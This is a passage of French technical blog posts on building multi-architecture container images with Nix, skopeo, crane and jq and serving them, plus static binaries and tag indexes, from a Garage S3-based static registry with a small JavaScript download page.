Not yet implemented
✅ push succeeded

On voit que ça fonctionne comme prévu :

$ docker pull registry.deuxfleurs.org/albatest:0.9
0.9: Pulling from albatest
ca485cd5ee4e: Pull complete
Digest: sha256:5b522fa8bdd9c959c31c0dfd59cabe4e3f1c2a05fff794f1b371af9cd60e106f
Status: Downloaded newer image for registry.deuxfleurs.org/albatest:0.9
registry.deuxfleurs.org/albatest:0.9

On peut aussi lister les tags comme prévu :

$ crane ls registry.deuxfleurs.org/albatest
8
10
9

Publier un conteneur sur un registre

Ici on partage le code de base avec la publication sur Garage, et ensuite, on utilise la logique de Crane.

$ ./alba container push -t albatest:0.9 ./docker 'docker://docker.io/superboum/albatest:0.9'
-- load docker archives --
docker/linux.386.tar.gz -> [oci system image; os:linux, arch:386, path:/tmp/alba-oci2921914546/0]
docker/linux.amd64.tar.gz -> [oci system image; os:linux, arch:amd64, path:/tmp/alba-oci2921914546/1]
docker/linux.arm.tar.gz -> [oci system image; os:linux, arch:arm, path:/tmp/alba-oci2921914546/2]
docker/linux.arm64.tar.gz -> [oci system image; os:linux, arch:arm64, path:/tmp/alba-oci2921914546/3]
-- merge system images --
-> oci-layout
-> index.json
/tmp/alba-oci2921914546/0/blobs/sha256 -> /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
/tmp/alba-oci2921914546/1/blobs/sha256 -> /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
/tmp/alba-oci2921914546/2/blobs/sha256 -> /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
/tmp/alba-oci2921914546/3/blobs/sha256 -> /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
--- push to registry ---
✅ push succeeded

On peut ensuite voir l’image sur le docker hub :

Conclusion

Ce petit outil du nom de alba permet de remplacer le script nix+shell que j’avais réalisé pour Garage, ainsi que Kaniko et manifest-tool. Il nous permet aussi pour la première fois de “transformer” Garage en registre statique. Enfin, pour la suite, il devait nous permettre d’implémenter aisément la garbage collection des artifacts dans le futur.

Spécifier un registre d'artefacts et l'intégrer dans un site web

Wed, 12 Apr 2023 12:06:46 +0200

Cet article est la suite de mon précédent article Un registre statique avec Garage.

Le premier point que j’ai regardé à la suite de la lecture de cet article était de savoir si on pouvait utiliser le module ociTools de NixOS pour générer des images directement comme je voulais via nix build. Il apparait que cet outil ne génère pas des images mais des conteneurs, deux représentations différentes, que je ne sais pas comment convertir en plus. Bref, ça ne nous avance pas, et si on veut faire mieux, je crains qu’il va simplement falloir écrire notre propre module NixOS, ce qui est trop couteux en temps pour le moment : on se contentera de cette innéficacité pour le moment…

Ensuite, il est bon de noter qu’on a déjà une logique pour lister les builds statics en place écrite en nixlang pour Garage dans un fichier nommé build_index.nix. En gros elle va reprendre le concept de “tags” de Docker, et à l’aide d’une regex sur le tag, elle va classer les builds en 3 catégories : les builds de release, qui correspondent à un tag semver sans libellé (eg. 0.8.2), les builds extra, qui correspondent à un semver avec libellé (eg. 0.8.2+feat), et enfin tous les autres sont des builds de développement.

On peut alors imaginer un affichage différencié de ces buils : les builds release sont affichés par défaut, les autres sont cachés derrière un bouton. On peut aussi imaginer une gestion des cycles de vie différents : les builds release sont gardés pour toujours, les autres sont supprimés après un certain temps.

L’API S3 a un concept de Lifecycle Management et peut expirer des objets après un temps donné, c’est à dire les supprimer. Par exemple, on peut définir que les objets ayant leur préfix commençant par logs/ seront supprimés après un an. Il serait tentant d’utiliser ce système pour notre système de gestion d’artefacts mais ça pose plusieurs problèmes : à ce jour, Garage n’implémente pas les Lifecycle Management, aussi le fonctionnement des images Docker fait qu’il est possible que plusieurs version d’une même image partagent un même blob, et enfin on est amené à générer un index qui liste toutes nos images, et qui se retrouvera donc à être invalide.

Docker, et donc l’Open Container Initiative, a une spécification pour définir un index de tags pour une image donnée. Tout ça est décrit dans la spec “distribution” dans la section Content Discovery. Implémenter cette spécification pour lister nos tags améliorerait l’intéropérabilité de notre registre avec les autres clients OCI. Même si on ne pourra pas tout implémenter, par exemple le paging définit par la spec ne pourra pas être codé.

La spécification OCI pourrait nous servir d’inspiration pour notre dépôt de fichiers statiques. Tout ça dans l’espoir de faciliter l’écriture du code et de limiter le nombre de conceps à manipuler. Mais cela veut aussi dire qu’on extrait de l’index la charge de catégoriser les tags (release, extra, development). Ça deviendrait alors une convention pour celles et ceux qui intéragissent avec notre futur outil. Et ça veut dire que si on ne garbage collect pas les nightly builds, cet index peut devenir bien grand…

À travers ce panorama, je pense qu’on arrive au noeud du problème à traiter aujourd’hui : la spécification de notre index pour les fichiers statiques, la spécification de la convention à suivre pour les tags, et comment créer un outil qui facilite au maximum cette gestion.

Créer un index pour un registre OCI

On peut regarder un peu ce que donne le registre Docker pour Garage :

{
  "name": "dxflrs/garage",
  "tags": [
    "02e8eb167efa1f08d69fe7f8e6192cde726c45aa",
    "<skipped entries>",
    "fcc5033466e58e3beec05ee7748d33522b6b32b0",
    "v0.7.3",
    "v0.8-rc2",
    "v0.8.0",
    "v0.8.0-beta1",
    "v0.8.0-beta2",
    "v0.8.0-rc1",
    "v0.8.0-rc2",
    "v0.8.1",
    "v0.8.2"
  ]
}

On peut reproduire le même contenu sur notre registre en commençant par récupérer tous les manifests qui ne commencent pas par sha256 :

aws s3 ls s3://registry.deuxfleurs.org/v2/albatros/manifests/ | \
  tr -s ' ' | \
  cut -d' ' -f 4 | \
  grep -v '^sha256:'
# 0.9

On peut construire le JSON à la main pour cette fois :

{
  "name": "albatros",
  "tags": [
    "0.9"
  ]
}

L’envoyer :

aws s3 cp /tmp/tags.json s3://registry.deuxfleurs.org/v2/albatros/tags/list

Et ensuite s’assurer qu’on est bien compatible :

crane ls registry.deuxfleurs.org/albatros
# 0.9

À ma connaissance, le client Docker ne permet pas de récupérer ce fichier directement.

Bien entendu, il est peu probable que dégainer l’outil crane soit la première solution qui vienne à l’esprit des gens. Nos utilisateurs vont plutôt se rendre sur notre site web et s’attendre à voir les conteneurs listés sur une page dédiée ! En définissant des CORS sur notre bucket, on va permettre à un script JS astucieux de récupérer ce fichier via des requêtes XHR et de construire l’index.

On pourrait aussi appeler ces fichiers depuis le générateur de site statique, et régulièrement regénérer le site web pour intégrer ces modifications. Aujourd’hui on utilise XHR sur la page de Garage, et ça a quand même l’avantage de la simplicité, alors pas de raison de changer :-)

On va configurer les CORS de sorte que n’importe qui puisse lire notre index. On réalise ce choix car on ne peut pas spécifier de sous-domaine autorisé : c’est tout ou rien. Et vu qu’on ne sait pas par avance tous les sites webs qui pourraient vouloir requêter notre registre, on autorise tout le monde. Par contre on autorise seulement le GET, et voilà ce que ça donne au final :

export CORS='{"CORSRules":[{"AllowedHeaders":["*"],"AllowedMethods":["GET"],"AllowedOrigins":["*"]}]}'
aws s3api put-bucket-cors --bucket registry.deuxfleurs.org --cors-configuration $CORS

Voilà, maintenant on a tout pour générer une page web.

Générer une page web pour nos conteneurs

On peut commencer simplement avec un squelette basique :

e<!doctype html>
<html>
  <head>
    <meta charset="utf-8"/>
    <title>reg</title>
  </head>
  <body>
    <pre>list</pre>
    <script type="text/javascript">
      console.log("hello world")
    </script>
  </body>
</html> 

On va avoir besoin d’une API du navigateur nommée FileReader mais cette dernière utilise la sémantique des callbacks. On va créer un wrapper avec des Promises pour simplifier son utilisation :

const reader = blob => {
  const tmp = new FileReader();
  return new Promise((resolve, reject) => {
    tmp.onerror = () => {
      tmp.abort()
      reject(new DOMException("Problem parsing blob"))
    }
    tmp.onload = () => {
      resolve(tmp.result)
    }
    tmp.readAsText(blob)
  })
}

Et maintenant on peut simplement écrire notre logique pour récupérer la liste des tags :

const albatros_tags = async () => {
  const res = await fetch('https://registry.deuxfleurs.org/v2/albatros/tags/list')
  const blob = await res.blob()
  const txt = await reader(blob)
  const tags = JSON.parse(txt)
  return tags
}

(async () => console.log(await albatros_tags()))()

Ensuite il ne reste plus qu’à l’insérer dans le DOM de la page :

const inject_list = manifest => {
  const c = manifest.tags.map(t => `registry.deuxfleurs.org/albatros:${t}`).join('\n')
  document.querySelector('pre').textContent = c
}

(async () => inject_list(await albatros_tags()))()

Comme je disais au dessus, on a plusieurs types de builds. On va les classer selon cette regex :

const release_semver = /^v?[0-9]+\.[0-9]+\.[0-9]+$/;
const prerelease_semver = /^v?[0-9]+\.[0-9]+\.[0-9]+-.*$/;

const find_cat = t => {
  if (t.match(release_semver)) return 'release';
  if (t.match(prerelease_semver)) return 'prerelease';
  return 'dev'
};

const categorize = tags => tags.reduce((acc, t) => {
  acc[find_cat(t)].push(t)
  return acc
}, {'release': [], 'prerelease': [], 'dev': []});

Ce qui nous donne la classification suivante avec notre extrait pour Garage par exemple :

{
  "release": [
    "v0.7.3",
    "v0.8.0",
    "v0.8.1",
    "v0.8.2"
  ],
  "prerelease": [
    "v0.8.0-beta1",
    "v0.8.0-beta2",
    "v0.8.0-rc1",
    "v0.8.0-rc2"
  ],
  "dev": [
    "02e8eb167efa1f08d69fe7f8e6192cde726c45aa",
    "fcc5033466e58e3beec05ee7748d33522b6b32b0",
    "v0.8-rc2"
  ]
}

Note 1 : on voit qu’une prerelease dont le tag a été raté est passé dans “dev”. Je pense que c’est un comportement intéressant : si on se rate sur un tag, qu’il est trop bizarre, alors on le classe en développement, c’est tout de suite visible qu’on a eu un problème.

Note 2 : se pose la question de comment ont trie à l’intérieur d’une catégorie, aujourd’hui on reprend l’ordre de la liste initiale. Dans le cadre de Docker, il apparait que c’est l’ordre alphabétique qui est choisi. Ce qui marche à peu près pour le semver mais pas du tout pour les commits. Nous on voudrait simplement trier par date mais on a pas accès à cette information dans la liste des tags. Par contre, on peut simplement dire que dans notre implémentation, le générateur qui se charge de construire la liste, ordonne du plus récent au moins récent les tags, tout simplement !

Spécifier notre registre statique

Aujourd’hui une URL de téléchargement de Garage ressemble à ça :

https://garagehq.deuxfleurs.fr/_releases/v0.8.2/x86_64-unknown-linux-musl/garage

Si on décompose ça veut dire :

<host>/_releases/<tag>/<llvm target triple>/<binary>

On peut en apprendre plus sur les target triple de LLVM dans ce billet de blog : What’s an LLVM target triple?

Déjà le préfix de chemin _releases ne fait plus sens dans notre cas : il était là pour ne pas rentrer en conflit avec le géérateur de site statique (d’où le underscore), et parce que les releases étaient partagées avec le site web. Dans download.deuxfleurs.org on ne va stocker que des releases, donc ça n’a plus grand sens.

Pour autant, garder un préfixe, ça a du sens, parce qu’il va décrire comment la hiérarchie sous-jacente va se constituer, ainsi que de permettre de migrer plus tard vers de nouvelles hiérarchies.

Se pose aussi la question du triple LLVM, c’est ce qui est utilisé par Rust, mais ce n’est jamais ce qu’on affiche, à la place on utilise la notation du projet Go, notation aussi utilisée par le projet Docker. Au passage, je la trouve plus simple à comprendre car elle ne contient qu’une combinaison d’un OS et d’une architecture. Mais se pose aussi la question de ce qui se passe si on prévoit de supporter une combinaison qui n’existe pas pour Go. Et en même temps, la notation LLVM est complexe à lire et contient des informations que je considère comme des détails internes : ainsi notre choix d’utiliser musl est lié à notre choix de compiler en interne, qui est lié à l’idée qu’une fois l’OS et l’architecture identifiée, on veut que Garage tourne. Bref, tout ça me fait penser qu’on devrait adopter la notation de Go dans une démarche de penser à l’utilisateur final. Et si ça pose problème, il sera toujours temps de spécifier un df-dist-v2.

Donc on pourrait avoir ces URL :

list tags:    <host>/df-dist-v1/<name>
list flavors: <host>/df-dist-v1/<name>/<tag>
blobs:        <host>/df-dist-v1/<name>/<tag>/<go_os>/<go_arch>/<binary>

Pour la liste des tags, on reprend le format de Docker (avec la subtilité que nos tags doivent être listés par ordre chronologique, du plus récent au plus vieux) :

{
  "name": "albatros",
  "tags": [
    "0.9"
  ]
}

Pour la déclinaison (flavor), on s’inspire du manifest multi arch de Docker :

{
  "flavors": [
    {
      "resources": [ 
        { "path": "albatros" }
      ],
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    },
    {
      "resources": [ 
        { "path": "albatros" }
      ],
      "platform": {
        "architecture": "386",
        "os": "linux"
      }
    }
  ]
}

Dans resources, on va lister tous les fichiers qu’on stocke pour une flavor donnée. Aujourd’hui on a que le path d’enregistré pour chaque fichier, mais on pourrait avoir plus tard un rôle, par exemple pour différencier le binaire de son checksum, ou encore des symboles de debug. L’interface pourrait alors adapter son affichage. On pourrait aussi stocker la taille et plein d’autres infos.

À partir de toutes ces infos, on peut aussi reconstruire le chemin du blob qu’on cherche. Normalement on a tout ce qu’il faut.

Mise en place manuelle pour Albatros

On va commencer par compiler nos différents binaires :

nix build .#packages.x86_64-linux.albatros -o df/linux/amd64/albatros
nix build .#packages.i686-linux.albatros -o df/linux/386/albatros
nix build .#packages.aarch64-linux.albatros -o df/linux/arm64/albatros
nix build .#packages.armv6l-linux.albatros -o df/linux/arm/albatros

Les envoyer :

aws s3 sync df/ s3://download.deuxfleurs.org/df-dist-v1/albatros/0.9/
curl -I https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/linux/amd64/albatros

Envoyer le manifest préalablement écrit à la main :

aws s3 cp /tmp/flavor.json s3://download.deuxfleurs.org/df-dist-v1/albatros/0.9
curl https://download.deuxfleurs.org/df-dist-v1/albatros/0.9

Et enfin notre liste de tags :

aws s3 cp /tmp/list.json s3://download.deuxfleurs.org/df-dist-v1/albatros
curl https://download.deuxfleurs.org/df-dist-v1/albatros

On peut valider que tout ça fonctionne bien depuis un navigateur, il faut commencer par les CORS :

export CORS='{"CORSRules":[{"AllowedHeaders":["*"],"AllowedMethods":["GET"],"AllowedOrigins":["*"]}]}'
aws s3api put-bucket-cors --bucket download.deuxfleurs.org --cors-configuration $CORS

Ensuite on peut coder ces quelques fonctions utilitaires, une fois qu’on a choisi notre tag :

const release_info = async () => {
  const res = await fetch('https://download.deuxfleurs.org/df-dist-v1/albatros/0.9')
  const blob = await res.blob()
  const txt = await reader(blob)
  const info = JSON.parse(txt)
  return info
}

const get_links = manifest => manifest.flavors.map(f =>
  `https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/${f.platform.os}/${f.platform.architecture}/${f.resources[0].path}`
);
// https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/linux/amd64/albatros
// ...

Tout fonctionne comme prévu !

Conclusion

On a vu comment gérer nos index à la fois pour notre registre de conteneur et notre diffusion de binaires statiques. On a aussi vu comment manipuler ces index depuis un navigateur afin de créer une page de téléchargement sur un site web. Cette fois-ci c’est la bonne, la prochaine étape on voit comment automatiser tout ça.

Construire et publier des conteneurs sans daemon Docker

Tue, 11 Apr 2023 10:51:40 +0200

J’ai pas mal travaillé sur la CI/CD de Garage, et force est de constater qu’on a rencontré un nombre incroyable de problèmes. Entre autre, on a noté que les builds Rust sans cache sont trop lents par rapport à nos attentes, qu’il n’y avait pas de solution légère pour gérer les artefacts binaires et enfin que construire un conteneur quand on a un CI/CD à base de Docker, ça n’était pas possible car on n’avait pas accès au daemon docker ni la possibilité de faire du “docker in docker” de manière à peu près sécurisée.

Si la question du cache et des artefacts binaires est passionnante, nous allons la garder pour un autre billet de blog, et nous focaliser sur comment construire des conteneurs légers, multi-plateforme et les publier dans ce billet. Si vous ne voyez pas ce que j’entends par registre statique, allez donc jeter un coup d’oeil à mon précédent billet !

Alors maintenant qu’on a notre périmètre, décortiquons le:

léger : c’est à dire qui embarque le strict minimum. Bien souvent, on peut se contenter d’un binaire statique.
multi-plateforme : un seul tag d’image permettra à des gens sur ARM comme sur X86_64 d’utiliser votre logiciel
publier : on publier les conteneurs sur un registre, ici nous verrons comment faire sur le docker hub mais aussi sur notre registre statique à base de Garage

À noter qu’il y a un dernier point qui ne sera pas abordé dans ce billet qui sera sans aucun doute beaucoup trop long de toute manière, c’est comment gérer la garbage collection de nos artifacts.

Une build file avec Nix Flake

Pour ce billet, on va prendre comme un exemple un programme en go que j’ai écrit, Albatros, ma propre CI/CD (ça devient déjà meta). L’avantage de prendre comme exemple un programme en Go, c’est que ça se cross compile facilement. Voilà un extrait du fichier flake.nix de notre projet :

# declare the go module of this package, allow for cross compilation
gopkg = arch: (pkgs.buildGoModule rec {
  pname = "albatros-go-module";
  version = "0.9";
  CGO_ENABLED = 0;
  # ... skip
}).overrideAttrs (old: old // { GOOS = "linux"; GOARCH = arch; });

# logic to build static binaries
albatrosStaticBin = #... extract the binary from gopkg (skipped here)

# logic to build docker containers
docker = (staticBin: arch: pkgs.dockerTools.buildImage {
  name = "dxflrs/albatros";
  architecture = arch;
  config = {
    Cmd = [ "${staticBin}" ];
  };
});

# map nixos/llvm arch to golang arch
archmap = {
  "aarch64-linux" = "arm64";
  "x86_64-linux" = "amd64";
  "i686-linux" = "386";
  "armv6l-linux" = "arm";
};

# generate packages for each architecture
packages = builtins.mapAttrs (name: value: {
  docker.albatros = (docker (albatrosStaticBin value) value);
  # other targets (skipped)...
}) archmap;

On peut consulter le fichier en entier sur la forge d’Albatros.

Ce fichier est relativement simple à lire une fois qu’on sait comment l’aborder.

En fait on construit par rafinement successif. Le premier bloc consiste en une fonction qui permet de compiler un module Go à partir de la recette fournie par la bibliothèque standard NixOS. Je dis bien une fonction, car ce bloc prend en paramètre arch qui contient l’architecture cible de notre module. Ainsi, si on lui passe arm64 on aura un binaire qui fonctionne sur les processeurs ARM 64 bits, si on passe 386, on aura un binaire pour les vieux PC x86 32 bits, etc.

Dans les blocs suivants, on raffine donc ce premier module. On va d’abord avoir une fonction qui va extraire le binaire statique du module généré par Go, ensuite une fonction Docker qui va mettre ce binaire statique dans un conteneur.

Enfin, une fois notre logique définie, on va déclarer quelles architectures on choisit de supporter, là j’en ai choisi 4. On va donc faire une boucle (mapAttrs) pour générer le conteneur Docker qui va bien pour chaque architecture.

Créer les artefacts avec nix build

On peut ensuite créer nos différentes archives Docker, en précisant le chemin de sortie pour s’y retrouver :

nix build .#packages.x86_64-linux.docker.albatros -o albatros.amd64.tar.gz
nix build .#packages.armv6l-linux.docker.albatros -o albatros.arm.tar.gz
nix build .#packages.aarch64-linux.docker.albatros -o albatros.arm64.tar.gz
nix build .#packages.i686-linux.docker.albatros -o albatros.386.tar.gz

Construire notre image multi-arch

Dans le monde des conteneurs, une image multiarch est juste une indirection, un fichier qui contient une liste de manifest avec des tags pour leur OS et leur architecture. Il faut donc créer un fichier qui liste le manifest de chacune de nos 4 images.

Problème : aujourd’hui il n’y a pas vraiment d’outils clé en main. Typiquement, une issue sur skopeo traine depuis 3 ans maintenant (2020) sans qu’elle n’ait jamais été résolue. On va essayer de bidouiller un truc de notre côté.

On va extraire chacun de ces fichiers sous forme de dossier avec skopeo.

Il y a deux façons de représenter des images de conteneur sous forme de dossier avec skopeo : via le transport _dir_ et le transport _oci_. Le premier est un format interne non spécifié à skopeo. Le second est standardisé et a donc une spécification en bonne et due forme. Nous, on va préférer utiliser un standard pour éviter les mauvaises surprises à l’avenir (changement de format, abandon du support, interopérabilité, etc.).

mkdir -p /tmp/oci
skopeo --insecure-policy copy docker-archive:albatros.amd64.tar.gz oci:/tmp/oci/amd64
skopeo --insecure-policy copy docker-archive:albatros.arm64.tar.gz oci:/tmp/oci/arm64
skopeo --insecure-policy copy docker-archive:albatros.arm.tar.gz oci:/tmp/oci/arm
skopeo --insecure-policy copy docker-archive:albatros.386.tar.gz oci:/tmp/oci/386

On va ensuite construire à la main le dossier multiarch :

mkdir -p /tmp/oci/multi

# on copie juste le fichier qui déclare la version de la spec "directory" de OCI
cp /tmp/oci/amd64/oci-layout /tmp/oci/multi/

# on copie les blobs
mkdir -p /tmp/oci/multi/blobs/sha256/
cp -r /tmp/oci/{386,arm,arm64,amd64}/blobs/sha256/* /tmp/oci/multi/blobs/sha256/

Maintenant il ne nous reste plus qu’à créer un manifeste depuis les informations qu’on a collecté ! Pour se faire, deux choix : soit on copie, soit on va voir la spec.

Pour copier, on peut aller zyeuter du côté d’une image officielle de Docker, comme celle de redis par exemple :

docker manifest inspect redis:latest

Ce qui nous donne :

{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
   "manifests": [
      {
         "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
         "size": 1573,
         "digest": "sha256:94a25c195c764f7962087eda247471989797001c222f079d5d4dbb1c34cc4854",
         "platform": {
            "architecture": "amd64",
            "os": "linux"
         }
      },
      {
         "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
         "size": 1573,
         "digest": "sha256:8c6ff1f41fa800338843b4f6e1783faa1d3db95ac2c9e2ef2255ae01098349c8",
         "platform": {
            "architecture": "arm",
            "os": "linux",
            "variant": "v5"
         }
      },
      // ...
   ]
}

L’autre option, c’est d’aller voir la specification OCI sur les index d’images.

À noter que vu qu’on est passé sur de l’OCI, notre mediaType est celui de OCI (vnd.oci.image.manifest.v1+json) et non celui de Docker ( application/vnd.docker.distribution.manifest.v2+json), on peut s’en apercevoir en allant regarder l’index de nos images, exemple avec /tmp/oci/amd64/index.json :

{
  "schemaVersion": 2,
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "digest": "sha256:bc16dc0ab502dedbce06f16f51d46f7027271e20a378c7f2821bf5e000197523",
      "size": 405
    }
  ]
}

En réalité, il nous faut simplement fusionner ces 4 fichiers d’index et les tagger avec la platform qui va bien ! Dans cet exemple, je vais le faire plus ou moins à la main avec jq :

jq -s '
{
  schemaVersion: 2, 
  mediaType: "application/vnd.oci.image.index.v1+json", 
  manifests: (
    [.[0].manifests[0] | .platform = { architecture:"amd64", os:"linux" }] + 
    [.[1].manifests[0] | .platform = { architecture:"arm64", os:"linux" }] + 
    [.[2].manifests[0] | .platform = { architecture:"arm", os:"linux" }] + 
    [.[3].manifests[0] | .platform = { architecture:"386", os:"linux" }]
)}' amd64/index.json arm64/index.json arm/index.json 386/index.json

Et voilà, notre image multi-arch devrait être prête !

Envoyer notre image sur le Docker Hub

Encore une fois, on ne veut toujours pas utiliser de daemon Docker. On va utiliser plutôt à la place crane, un outil développé par Google. C’est pas plus compliqué que de lancer cette commande :

crane push --index /tmp/oci/multi/ dxflrs/albatros:d9facbb79c4551d90359c46b9f5d485c1503253a

On peut ensuite vérifier que notre image multi architecture est bien référencée sur le Docker Hub :

Et la récupérer avec un simple docker pull :

docker pull dxflrs/albatros:d9facbb79c4551d90359c46b9f5d485c1503253a

Envoyer notre image sur notre registre Garage

Tout d’abord on commence par envoyer l’index :

aws s3 cp \
  --content-type 'application/vnd.oci.image.index.v1+json' \
  index.json \
  s3://registry.deuxfleurs.org/v2/albatros/manifests/0.9

Ensuite on envoie les manifests de chacune des images référencées dans l’index :

for m in $(jq -r '.manifests[] | .digest' index.json); do 
  f=$(echo $m | grep -Po '[0-9a-f]+$')
  aws s3 cp \
    --content-type 'application/vnd.oci.image.manifest.v1+json' \
    /tmp/oci/multi/blobs/sha256/$f \
    s3://registry.deuxfleurs.org/v2/albatros/manifests/$m
done

Ensuite on envoie les blobs :

for m in $(jq -r '.manifests[] | .digest' index.json); do 
  f=$(echo $m | grep -Po '[0-9a-f]+$')
  for blob in $(jq -r '[ .config.digest ] + [ .layers[] | .digest ] | join(" ")' /tmp/oci/multi/blobs/sha256/$f); do 
    bf=$(echo $blob | grep -Po '[0-9a-f]+$')
    aws s3 cp /tmp/oci/multi/blobs/sha256/$bf s3://registry.deuxfleurs.org/v2/albatros/blobs/$blob
  done
done

Et voilà, on peut tester notre nouveau registre :

docker pull registry.deuxfleurs.org/albatros:0.9
docker run --rm -it -e ALBATROS_URL="x" registry.deuxfleurs.org/albatros:0.9
# 2023/04/11 14:40:08 Albatros public URL: x
# 2023/04/11 14:40:08 Use Nomad default configuration
# 2023/04/11 14:40:08 Use Consul default configuration
# 2023/04/11 14:40:08 Albatros listen on :8080

On peut aussi vérifier que skopeo est content avec notre registre :

mkdir -p /tmp/discard
skopeo --insecure-policy copy --all docker://registry.deuxfleurs.org/albatros:0.9 oci:/tmp/discard/
# inspectez le contenu de /tmp/discard

Petite réflexion sur ce qu’on vient de faire

On a vu comment construire plusieurs images Docker simples avec NixOS, une pour chaque plateforme qu’on supporte. Ensuite on a vu comment les manipuler au format OCI pour les fusionner et créer une image multiarch. Enfin, on a vu comment l’envoyer sur le hub Docker avec crane et sur notre registre statique. Aucune de ces opérations n’a nécessité d’élévation de privilège, ni le daemon Docker, ni même Docker tout court.

Bien entendu, si j’ai semi-automatisé les opérations avec des scripts bash, il reste que cette opération reste encore quelque peu fastidieuse. Il ne devrait pas être trop compliqué de porter ces différents bouts de bash vers un binaire Go qui se chargerait alors de l’envoi de ces images.

Reste la question du périmètre de ce binaire : est-ce qu’il doit supporter le hub docker et mon registre statique ? est-ce qu’il doit être possible de supprimer une image ? est-ce qu’il doit supporter les binaires statiques aussi ? est-ce qu’il doit faire une garbage collection automatique, et si oui, selon quelles règles ? est-il bien judicieux de générer une archive docker depuis NixOS pour ensuite la convertir en OCI, puis manipuler cette image, avant de l’envoyer, ou alors mieux vaudrait réaliser le plus possible ces tâches au sein de NixOS ? Est-ce que NixOS ne devrait pas générer notre image multarch ?

C’est donc sur d’avantage de questions que de réponses que je conclue ce billet de blog, à votre tour de faire de la magie avec les conteneurs !

Un registre statique Docker avec Garage

Thu, 06 Apr 2023 16:13:14 +0200

Dans ce petite article, je vais vous montrer rapidement comment monter votre registre Docker avec Garage seulement. En effet, un registre Docker n’est rien d’autre qu’une spécification par dessus HTTP, et il apparait que Garage supporte pile poil le bon sous ensemble pour la distribution (c’est à dire le téléchargement). Reste à réaliser l’envoi à la main, et c’est ce que nous allons détailler ici ! Et pour faire les choses bien, on va prendre l’exemple d’une image multi-arch, qui est un poil plus complexe.

L’idée, c’est qu’à la fin de ce tuto, vous puissiez faire quelque chose comme ça, mais avec votre propre domaine !

docker run --rm -it quentin.dufour.io/garage:v0.8.2 /garage help

Inspecter un peu le registre Docker

Pour requêter le registre docker, on a besoin d’un token même en tant qu’utilisateur anonyme. Sinon on a une 401 :

$ curl -i 'https://registry.docker.com/v2/dxflrs/garage/manifests/v0.8.2'
HTTP/1.1 401 Unauthorized
content-type: application/json
docker-distribution-api-version: registry/2.0
www-authenticate: Bearer realm="https://auth.ipv6.docker.com/token",service="registry.docker.io",scope="repository:dxflrs/garage:pull"
date: Thu, 06 Apr 2023 14:55:10 GMT
content-length: 156
strict-transport-security: max-age=31536000
docker-ratelimit-source: 2a01:e0a:28f:5e60::

{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"repository","Class":"","Name":"dxflrs/garage","Action":"pull"}]}]}

La 401 nous donne toutes les informations pour récupérer notre token :

 curl -vvv 'https://auth.ipv6.docker.com/token?service=registry.docker.io&scope=repository:dxflrs/garage:pull'|jq

On peut ensuite construire notre fichier d’en-tête headers.txt qui contiendra l’authorisation et l’information qu’on est un client Docker moderne :

Accept: application/vnd.docker.distribution.manifest.list.v2+json
Authorization: Bearer eyJh...

Et puis on peut l’utiliser avec curl pour récupérer le manifest multi arch :

curl -H @headers.txt 'https://registry.docker.com/v2/dxflrs/garage/manifests/v0.8.2'

On y retrouve alors la déclaration des 4 architectures supportées :

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
  "manifests": [
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 428,
      "digest": "sha256:236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e",
      "platform": {
        "architecture": "arm64",
        "os": "linux"
      }
    },
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 428,
      "digest": "sha256:73a20980fd232dc7acd51d21df6c7c9964bc7c5fbcfdc098b95cfd221bf67bf6",
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    },
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 428,
      "digest": "sha256:47df19e0c6333356e503258e6301c3a91848644667a0b7de4162e6841e89769a",
      "platform": {
        "architecture": "386",
        "os": "linux"
      }
    },
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 428,
      "digest": "sha256:12ec13fe92959249c52c46e97754333267ceeea22978434737978a135b7185ce",
      "platform": {
        "architecture": "arm",
        "os": "linux"
      }
    }
  ]
}

Duquel ensuite on peut inspecter l’image d’une plateforme précise, ici arm64 :

curl -H @headers.txt 'https://registry.docker.com/v2/dxflrs/garage/manifests/sha256:236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e'|jq

Duquel enfin on récupère les informations de configuration et des différents layers :

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 459,
    "digest": "sha256:258bd4fedb7a0bd5cffd4238777b293d6c5907e5eeaad0174bae3003041c309b"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 19845930,
      "digest": "sha256:d2d5e172a714fc48876a6657e7b4b0c3baa4c1ea42e92c687bdb9d86b8dd43c4"
    }
  ]
}

En dernier lieu, on peut récupérer les différents blobs déclarés dans le manifest. Pour la configuration, on a

curl -L -H @/tmp/d.txt 'https://registry.docker.com/v2/dxflrs/garage/blobs/sha256:258bd4fedb7a0bd5cffd4238777b293d6c5907e5eeaad0174bae3003041c309b'|jq

Ce qui nous donne les informations sur l’image :

{
  "architecture": "arm64",
  "created": "2023-03-13T20:27:37.477146404Z",
  "history": [
    {
      "author": "kaniko",
      "created": "0001-01-01T00:00:00Z",
      "created_by": "COPY result-bin/bin/garage /"
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:01ff2f334b600faf0e0fc53e7fa19b4f44b1c340cd5f39ec49393b339f6e945f"
    ]
  },
  "config": {
    "Cmd": [
      "/garage",
      "server"
    ],
    "Env": [
